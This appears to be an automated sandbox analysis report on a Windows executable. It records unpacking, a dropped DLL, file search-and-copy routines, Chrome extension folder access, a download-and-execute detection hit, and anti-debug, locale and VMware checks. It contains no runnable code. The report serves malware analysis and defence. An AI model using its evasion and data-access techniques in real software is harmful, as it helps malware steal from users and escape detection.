Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Section loaded: ntmarta.dll	Jump to behavior

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: my_library.pdbU source: 5BQwrSLxIZ.exe, 00000000.00000003.2099802766.0000000004920000.00000004.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2754655975.0000000004840000.00000040.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: 5BQwrSLxIZ.exe, 5BQwrSLxIZ.exe, 00000000.00000003.2099802766.0000000004920000.00000004.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2754655975.0000000004840000.00000040.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Unpacked PE file: 0.2.5BQwrSLxIZ.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Unpacked PE file: 0.2.5BQwrSLxIZ.exe.400000.0.unpack

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_0040A090 LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,

0_2_0040A090

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0042A378 push eax; retf	0_2_0042A39D
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0041B335 push ecx; ret	0_2_0041B348
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8FDE51 push ecx; ret	0_2_6C8FDE64
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61EDC329 pushfd ; retf 0004h	0_2_61EDC32A
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_61EDA2A8 push ds; retf	0_2_61EDA2AE

Source: 5BQwrSLxIZ.exe

Static PE information: section name: .text entropy: 7.84793486951506

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

File created: C:\ProgramData\chrome.dll

Jump to dropped file

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

File created: C:\ProgramData\chrome.dll

Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_00419F20 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00419F20

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-82819

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Dropped PE file which has not been started: C:\ProgramData\chrome.dll

Jump to dropped file

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E530
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE40
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004140F0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EE20
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414B60
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00413B00
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DF10
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_004147C0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DB80
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F7B0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8F717D FindFirstFileExW,	0_2_6C8F717D

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_00418060 GetSystemInfo,wsprintfA,

0_2_00418060

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.12.dr	Binary or memory string: VMware
Source: chrome.exe, 00000002.00000002.2302970501.00002790028F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB MouseR
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.12.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.12.dr	Binary or memory string: VMware, Inc.
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754231192.0000000002C49000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware=
Source: Amcache.hve.12.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.12.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.12.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.12.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002D13000.00000004.00000020.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2754327165.0000000002CBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.12.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: msedge.exe, 00000006.00000003.2288950235.00000CC402514000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: chrome.exe, 00000002.00000002.2300583000.00002790024A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=a8acb78c-e9b1-437a-ae0e-de4f92ca2236
Source: Amcache.hve.12.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.12.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: chrome.exe, 00000002.00000002.2283525243.00000179DEC98000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000006.00000002.2300962122.000001A4B4E42000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: chrome.exe, 00000002.00000002.2286448244.00000179E26E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_
Source: Amcache.hve.12.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.12.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.12.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.12.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.12.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.12.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.12.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.12.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 5BQwrSLxIZ.exe, 00000000.00000002.2754231192.0000000002C49000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.12.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.12.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.12.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.12.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.12.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.12.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.12.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	API call chain: ExitProcess graph end node	graph_0-82807
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	API call chain: ExitProcess graph end node	graph_0-82804
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	API call chain: ExitProcess graph end node	graph_0-82825
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	API call chain: ExitProcess graph end node	graph_0-82818
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	API call chain: ExitProcess graph end node	graph_0-82847
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	API call chain: ExitProcess graph end node	graph_0-83985
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	API call chain: ExitProcess graph end node	graph_0-82826
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	API call chain: ExitProcess graph end node	graph_0-82646

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0041B058

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_00404610 VirtualProtect ?,00000004,00000100,00000000

0_2_00404610

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_0040A090 LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,

0_2_0040A090

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_00419AA0 mov eax, dword ptr fs:[00000030h]

0_2_00419AA0

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041B058
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0041D21A SetUnhandledExceptionFilter,	0_2_0041D21A
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0041B63A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041B63A
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8F6ACC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C8F6ACC
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8F1726 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C8F1726
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8F11FD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C8F11FD

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 5BQwrSLxIZ.exe PID: 3056, type: MEMORYSTR

Searches for specific processes (likely to inject)

